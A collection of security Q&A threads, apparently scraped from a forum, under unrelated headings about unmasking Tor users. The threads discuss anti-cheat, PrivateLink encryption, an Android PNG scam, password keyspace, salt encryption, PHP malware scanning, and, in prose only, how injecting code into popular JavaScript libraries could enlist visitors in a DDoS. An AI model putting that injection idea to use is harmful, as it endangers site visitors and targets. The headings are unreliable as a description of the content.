Uncovering Tor users: where anonymity ends in the Darknet
Browser-Based Attacks on Tor


If "you can never trust the client", then why do companies such as Valve rely solely on client-side verification? In video games, most anticheat software is run clientside (e.g. PunkBuster or Valve Anti-Cheat)- but isn't one of the first rules of security to never trust the client? If so, then why do these companies not offer server side verification for video games, but rather continue to insist on trusting the client?

If so, then why do these companies not offer server side verification for video games, but rather continue to insist on trusting the client?

It's less about insisting on trusting the client and more that there is no other viable anti-cheat model. Like DRM, and in fact, anti-cheat software like PB use a form of DRM, there's little that can be done.

DRM software has mitigations in place to keep the client from poking too much, but it has to be put on the client to try to prevent the client from doing things that the media companies don't want the client doing.

Anti-cheat technology relies on similar methodology. Information about the client is gathered, sent to the server, and if a client is seen as misbehaving, through whatever series of checks are done for the specific software, it can be banned at the server.

At the end of the day, it comes down to risk management. Yes, don't trust the client is one of the first tenets of security. But for mitigating risks that occur at the client, there's a cost-benefit analysis, which is what risk management is. Is the cost of letting clients continue to bot and cheat worth losing customers who want a fair and fun game? Or should some mitigations be put in to place? PB and other software packages aren't there to entirely stop cheating, but aim to make it more expensive to cheat.

Also there is another more subtle way of limiting the clients to cheat (wall hacks,...), mostly implicated by online only games but not limited to. This is achieved by not feeding the client side all data. For example unreal engine 3 has checks if an actor is in your vicinity of visibility, if this check is positive, the server sends YOU the exact location as well as your opponent YOURS. So to say, only the server knows all positions, actions and movements of all actors on the gaming instance.

This can be read in the documentation of the unreal engine 3 / Client Server Model in the paragraph cheating, to be found here:
https://udn.epicgames.com/Three/ClientServerModel.html

So to say, with advanced engines/network code and Client Server models, it is not necessarily needed to trust the client 100%. The Server can decide beforehand what the client should know, effectively LIMITING the possibilities of hacks. To go even further, the server can decide what it SHOULD know itself, not to get distracted or confused by clients sending forged packets.


How can I encrypt messages sent over AWS PrivateLink? I am working on a project where I need to send messages to a partner via AWS PrivateLink. Because these messages contain PII, the data needs to be secure. I have been unable to determine from internet searching whether data transmitted over PrivateLink is encrypted. Is it encrypted or am I responsible for providing this service?

If the latter, how would I go about doing that? It seems that typical transport-layer encryption such as TLS cannot work here because the actual TCP connections between the VPCs are through VPC endpoints (i.e. outside of my control). Does this mean that I'd have to implement some kind of application-layer encryption? Or perhaps if I send TLS-encrypted traffic to the VPC endpoint, it will just forward along to the destination no problem?

AWS Privatelink isn't going to provide you anything special (or prevent anything you were already doing) in the way of encryption.  It is a way to directly connect VPCs without having the traffic leave Amazon's network.  This won't prevent you from using TLS since that is negotiated at the endpoints (your partner's server and your client for instance).  The network doesn't care about the packet's payload...just its header/footer info.


How do I protect from a PNG vulnerability on Android? Lately, poking through my SPAM folder I have found a typical sextortion scam letter. It has a PNG file with letter text attached.

What's interesting it's asking to interact with the image and "copy-paste" wallet id because it's "cAsE sensitive" which is obviously not possible for a PNG image with text.

This may look like some blooper, however I've heard that there are recent Android PNG vulnerabilities CVE-2019-1986, CVE-2019-1987, CVE-2019-1988 which seem to allow the perpetrator to execute remote code.

Am I overthinking the case? Is this attack possible at this moment and how do I protect from it?

P.S. my phone manufacturer does not seem to update Android security version very often (obviously I don't want to publish what my current security update version currently is).

Am I overthinking the case?

Yes, you're overthinking this. The message you've received (which is a common scam) is using an image to evade keyword detection by spam filters.


How can i calculate the number of possible passwords? I have found a flaw in a site where the password reset feature resets passwords in the following format
[A-Z][0-9][a-z][0-9][a-z][0-9][A-Z]
Eg: A0b1c2D
I'm trying to determine how many possible password combinations there are for a system like this (where i can predict the 'password format' vs something random that uses the entire Upper/Lower-Alpha-Numeric Keyspace.
This seems like a significant weakness to me.
I'd like some data to back that assumption up.

To get the number of permutations, multiply the number of possibilities at each position:

26x10x26x10x26x10x26 = 456,976,000


How Can Someone Do A Denial Of Service Attack With JavaScript I was recently reading this cloudfare article about JavaScript Denial Of Service and I didn't understand how it could work. From what I've learned JavaScript is a client side language and can't interact with a server (please correct me if I'm wrong, I've been coding for a year and I'm still a n00b =3). I tried to add my own twist on it. But A. it's not effective (I didn't think it would be) and B. I didn't notice any change in traffic. The actual code is located if you want to take a look at it. I understand it wouldn't be too effective to even do it in JavaScript and especially with one computer.

So my question is, how would you do it. I just don't understand how it could work even after reading the cloudflare article and there's not a lot of discussion about it

It works because it's a distributed denial of service attack, not just a denial of service attack. You sneak that code snippet into a lot of webpages that a lot of people visit (e.g. by including it inside a library that does something useful that other developers will pick up and use). From the article:

  In September 2014, RiskIQ reported that jQuery.com’s website was
  compromised, which hosts a very popular JavaScript library that could
  have easily been replaced with a malicious one. The threat of
  attackers injecting malicious JavaScript into millions of sites is no
  longer theoretical.

A lot of websites out there use jQuery or other libraries by including remote javascript source files (instead of making local copies of them; by using the remote version your web page may load a tiny bit faster for your users, and of course you get new features and bug/security fixes "for free"). If the javascript source files were compromised, every website out there that included them would be serving the compromised versions to their visitors, so every one of their users would be participating in the DDoS.

The DDoS itself just works by overloading the target web server with requests. Imagine you're working at a fast food restaurant: if one person comes in and orders dinner, you can handle that. If the entire city suddenly shows up and starts shouting their orders at you, you'll be too overwhelmed to fulfill even one order let alone all of them.


Password Security: Encrypting salt Possible Duplicate:
  Password Hashing add salt + pepper or is salt enough?

I'm new to security and trying to understand why encrypting or hiding a salt is not considered useful. I've read the earlier post https://stackoverflow.com/questions/213380/the-necessity-of-hiding-the-salt-for-a-hash on why hiding or encrypting salt is unnecessary but the answer was based off the assumption

  If someone has access to your database, then they have access to the
  encrypted salts, and they probably have access to your code as well

Question

Just because an attacker has access to your database why should we assume he has access to the code interacting with it? For example, you have your salted passwords on a MySQL server on one machine along with the encrypted salts. And you have the key for decrypting the salts or some intricate encryption/decryption logic on a web server on a separate machine. An attacker gains access to the database via SQL injection or some other means. Hasn't the encryption and distributed architecture saved the day here?

You'll hear different arguments here but, at the end of the day, it comes down to how your system works in the real world.

It is certainly possible to build a system in which compromise of the database tier does not yield compromise of the application tier. You could imagine hardening against things like:

Injection of arbitrary data from the db layer does not cause a security issue in the front end (ie it assumes it will get back bad data)
Physical access of the db tier does not imply physical access of the application tier.
Infrastructure services (admin creds, share services for things like patch management, etc.) are isolated such that there is no way to island hop across.
The ability to push code to the db tier does not imply the ability to push code to the app tier.

...and so on.

So yes, it could be done. Pragmatically, very few apps work this way. I have seen very few in my career that could honestly say they have achieved this.

IMO, this is why people tend to not see this as super valuable, as very few apps are able to make this sort of security claim.


Offline malware / script scanner for webfiles (PHP and HTML) I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still accessible hence why it was missed), however I would like to check the website files for injected code.

Will a standard anti virus such as BitDefender do the job, or can anyone recommend a scanner (preferably standalone) that can scan PHP files and find known injections.

Thanks in advance for any answers

No, malicious code in your PHP file is not a virus or a trojan. Most end user anti-malware tools do not scan for these types of things.

The malicious actions in your web app may be legitimate commands that make sense in a different context. You may want to look into static code analysis tools which analyze code for software design errors.